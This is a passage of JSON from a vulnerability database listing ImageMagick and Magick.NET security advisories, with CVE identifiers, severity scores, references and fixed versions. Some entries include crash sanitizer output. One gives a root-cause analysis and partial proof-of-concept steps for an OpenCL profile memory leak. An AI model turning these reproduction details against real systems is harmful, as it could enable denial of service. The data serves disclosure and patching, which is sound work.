w4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25966","GHSA-xwc6-v6g8-pw2h"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-5xqd-gf3b-4ygw"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/25110?format=json","vulnerability_id":"VCID-5zkt-kcgx-a3e2","summary":"ImageMagick Has Signed Integer Overflow in SIXEL Decoder, Leading to Memory Corruption\nA signed integer overflow vulnerability in ImageMagick's SIXEL decoder allows an attacker to trigger memory corruption and denial of service when processing a maliciously crafted SIXEL image file. The vulnerability occurs during buffer reallocation operations where pointer arithmetic using signed 32-bit integers overflows.\n\n```\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==143838==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000\n    #0 0x7f379d5adb53  (/lib/x86_64-linux-gnu/libc.so.6+0xc4b53)\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25970.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25970.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25970","reference_id":"","reference_type":"","scores":[{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17646","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17743","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17831","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17892","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17908","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17864","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17815","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17757","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17767","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17805","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17714","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.1769","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17989","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18043","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25970"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25970","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25970"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xg29-8ghv-v4xr","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xg29-8ghv-v4xr"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25970","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25970"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442108","reference_id":"2442108","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442108"},{"reference_url":"https://github.com/advisories/GHSA-xg29-8ghv-v4xr","reference_id":"GHSA-xg29-8ghv-v4xr","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-xg29-8ghv-v4xr"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25970","GHSA-xg29-8ghv-v4xr"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-5zkt-kcgx-a3e2"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21856?format=json","vulnerability_id":"VCID-62ar-kwbq-nyh3","summary":"ImageMagick has memory leak in msl encoder\nMemory leak exists in `coders/msl.c`. In the `WriteMSLImage` function of the `msl.c` file, resources are allocated. But the function returns early without releasing these allocated resources. \n\n```\n==78983== Memcheck, a memory error detector\n==78983== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.\n==78983== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info\n==78983== \n==78983== 177,196 (13,512 direct, 163,684 indirect) bytes in 1 blocks are definitely lost in loss record 21 of 21\n==78983==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25638.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25638.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25638","reference_id":"","reference_type":"","scores":[{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05154","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05112","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05082","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04934","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04924","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04978","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04997","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05015","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05035","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05019","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04986","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04968","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18616","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25638"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25638","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25638"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/1e88fca11c7b8517100d518bc99bd8c474f02f88","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/1e88fca11c7b8517100d518bc99bd8c474f02f88"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gxcx-qjqp-8vjw","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gxcx-qjqp-8vjw"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25638","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25638"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442105","reference_id":"2442105","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442105"},{"reference_url":"https://github.com/advisories/GHSA-gxcx-qjqp-8vjw","reference_id":"GHSA-gxcx-qjqp-8vjw","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gxcx-qjqp-8vjw"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25638","GHSA-gxcx-qjqp-8vjw"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-62ar-kwbq-nyh3"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21784?format=json","vulnerability_id":"VCID-69f6-ceje-hyah","summary":"ImageMagick: Malicious PCD files trigger 1‑byte heap Out-of-bounds Read and DoS\nThe PCD coder’s DecodeImage loop allows a crafted PCD file to trigger a 1‑byte heap out-of-bounds read when decoding an image (Denial of service) and potential disclosure of adjacent heap byte.","references":[{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/436e5d2589e3c0adc10d9aa189e81d5d088d8207","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/436e5d2589e3c0adc10d9aa189e81d5d088d8207"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wgxp-q8xq-wpp9","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wgxp-q8xq-wpp9"},{"reference_url":"https://github.com/advisories/GHSA-wgxp-q8xq-wpp9","reference_id":"GHSA-wgxp-q8xq-wpp9","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-wgxp-q8xq-wpp9"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["GHSA-wgxp-q8xq-wpp9"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-69f6-ceje-hyah"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24835?format=json","vulnerability_id":"VCID-6h7x-3rue-kucp","summary":"ImageMagick has a heap buffer over-read via 32-bit integer overflow in MAT decoder\nIn MAT decoder uses 32-bit arithmetic due to incorrect parenthesization resulting in a heap over-read.\n\n```\n=================================================================\n==969652==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000003b40 at pc 0x555557b2a926 bp 0x7fffffff4c80 sp 0x7fffffff4c70\nREAD of size 8 at 0x506000003b40 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28692.json","reference_id":"","reference_type":"","scores":[{"value":"4.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28692.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28692","reference_id":"","reference_type":"","scores":[{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05647","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05608","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05673","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05611","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05574","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06128","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06304","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06291","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06264","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06248","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.061","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06089","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06139","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00023","scoring_system":"epss","scoring_elements":"0.06135","published_at":"2026-04-12T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28692"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28692","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28692"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"4.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mrmj-x24c-wwcv","reference_id":"","reference_type":"","scores":[{"value":"4.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T15:58:29Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mrmj-x24c-wwcv"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28692","reference_id":"","reference_type":"","scores":[{"value":"4.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28692"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445890","reference_id":"2445890","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445890"},{"reference_url":"https://github.com/advisories/GHSA-mrmj-x24c-wwcv","reference_id":"GHSA-mrmj-x24c-wwcv","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-mrmj-x24c-wwcv"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28692","GHSA-mrmj-x24c-wwcv"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-6h7x-3rue-kucp"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20741?format=json","vulnerability_id":"VCID-6meg-yjby-a7gj","summary":"ImageMagick has a Memory Leak in LoadOpenCLDeviceBenchmark() when parsing malformed XML\n### Summary\n\nA memory leak vulnerability exists in the `LoadOpenCLDeviceBenchmark()` function in `MagickCore/opencl.c`. When parsing a malformed OpenCL device profile XML file that contains `<device` elements without proper `/>` closing tags, the function fails to release allocated memory for string members (`platform_name`, `vendor_name`, `name`, `version`), leading to memory leaks that could result in resource exhaustion.\n\n**Affected Version**: ImageMagick 7.1.2-12 and possibly earlier versions\n\n---\n\n### Details\n\nThe vulnerability is located in `MagickCore/opencl.c`, function `LoadOpenCLDeviceBenchmark()` (lines 754-911).\n\n**Root Cause Analysis:**\n\n1. When a `<device` tag is encountered, a `MagickCLDeviceBenchmark` structure is allocated (line 807-812)\n2. String attributes (`platform`, `vendor`, `name`, `version`) are allocated via `ConstantString()` (lines 878, 885, 898, 900)\n3. These strings are **only freed** when a `/>` closing tag is encountered (lines 840-849)\n4. At function exit (lines 908-910), only the `device_benchmark` structure is freed, but **its member variables are not freed** if `/>` was never parsed\n\n**Vulnerable Code (lines 908-910):**\n\n```c\ntoken=(char *) RelinquishMagickMemory(token);\ndevice_benchmark=(MagickCLDeviceBenchmark *) RelinquishMagickMemory(\n  device_benchmark);  // BUG: members (platform_name, vendor_name, name, version) not freed!\n```\n\n**Correct cleanup (only executed when `/>` is found, lines 840-849):**\n\n```c\ndevice_benchmark->platform_name=(char *) RelinquishMagickMemory(device_benchmark->platform_name);\ndevice_benchmark->vendor_name=(char *) RelinquishMagickMemory(device_benchmark->vendor_name);\ndevice_benchmark->name=(char *) RelinquishMagickMemory(device_benchmark->name);\ndevice_benchmark->version=(char *) RelinquishMagickMemory(device_benchmark->version);\ndevice_benchmark=(MagickCLDeviceBenchmark *) RelinquishMagickMemory(device_benchmark);\n```\n\n---\n\n### PoC\n\n**Environment:**\n- OS: Ubuntu 22.04.5 LTS (Linux 6.8.0-87-generic x86_64)\n- Compiler: GCC 11.4.0\n- ImageMagick: 7.1.2-13 (commit `a52c1b402be08ef8ae193f28ac5b2e120f2fa26f`)\n\n**Step 1: Build ImageMagick with AddressSanitizer**\n\n```bash\ncd ImageMagick\n./configure \\\n    CFLAGS=\"-g -O0 -fsanitize=address -fno-omit-frame-pointer\" \\\n    CXXFLAGS=\"-g -O0 -fsanitize=address -fno-omit-frame-pointer\" \\\n    LDFLAGS=\"-fsanitize=address\" \\\n    --disable-openmp\nmake -j$(nproc)\n```\n\n**Step 2: Create malformed XML file**\n\n**Step 3: Place file in OpenCL cache directory**\n\n```bash\nmkdir -p ~/.cache/ImageMagick\ncp malformed_opencl_profile.xml ~/.cache/ImageMagick/ImagemagickOpenCLDeviceProfile.xml\n```\n\n**Step 4: Run ImageMagick with leak detection**\n\n```bash\nexport 